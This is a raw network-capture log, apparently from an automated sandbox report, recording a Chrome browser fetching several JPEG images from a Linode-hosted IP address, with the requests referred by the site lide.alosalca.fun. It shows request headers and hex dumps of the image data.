49	192.168.2.5	49776	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:15 UTC	590	OUT	GET /pas2/CirkVnUZuw2gzfS8 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:15 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:15 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:15 UTC	9676	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 41 01 f0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCA"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49779	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:16 UTC	384	OUT	GET /pas2/CirkVnUZuw2gzfS8 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:16 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:16 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:16 UTC	9676	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 41 01 f0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCA"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49778	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:16 UTC	590	OUT	GET /pasr/00Wp1QtPGGg6tNi2 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:16 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:16 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:16 UTC	11036	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 4c 01 fd 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCL"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49781	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:16 UTC	384	OUT	GET /pasr/00Wp1QtPGGg6tNi2 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:17 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:16 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:17 UTC	11029	IN	Data Raw: 32 62 30 38 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 4c 01 fd 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 2b08JFIFxxCCL"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49780	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:16 UTC	590	OUT	GET /sigi/te2BMKQevrPDL3Gd HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:17 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:16 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:17 UTC	3284	IN	Data Raw: 63 63 38 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 32 00 8f 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: cc8JFIFxxCC2"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49782	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:19 UTC	590	OUT	GET /takn/gnodp4Suzu5ewcl9 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:19 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:19 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:19 UTC	10289	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 4c 01 7d 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCL}"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49783	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:19 UTC	384	OUT	GET /sigi/te2BMKQevrPDL3Gd HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:19 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:19 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:19 UTC	3284	IN	Data Raw: 63 63 38 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 32 00 8f 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: cc8JFIFxxCC2"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49784	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:20 UTC	589	OUT	GET /vid/9ByFVrvy71ZtFROH HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:21 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:21 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:21 UTC	4674	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 2f 01 1c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC/"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49785	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:20 UTC	384	OUT	GET /takn/gnodp4Suzu5ewcl9 HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:21 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:21 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:21 UTC	10289	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 4c 01 7d 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCL}"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49787	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:23 UTC	383	OUT	GET /vid/9ByFVrvy71ZtFROH HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:23 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:23 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:23 UTC	4674	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 2f 01 1c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC/"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49786	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:23 UTC	590	OUT	GET /vid1/TrzqRFuy4MJ4XWCB HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:23 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:23 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:23 UTC	2619	IN	Data Raw: 61 32 66 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 31 00 98 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: a2fJFIFxxCC1"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49789	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:23 UTC	384	OUT	GET /vid1/TrzqRFuy4MJ4XWCB HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:24 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:24 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:24 UTC	2619	IN	Data Raw: 61 32 66 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 31 00 98 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: a2fJFIFxxCC1"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49788	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:23 UTC	590	OUT	GET /vid2/GshGTxDGjm16q1FN HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:24 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:24 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:24 UTC	4674	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 2f 01 1c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC/"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49790	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

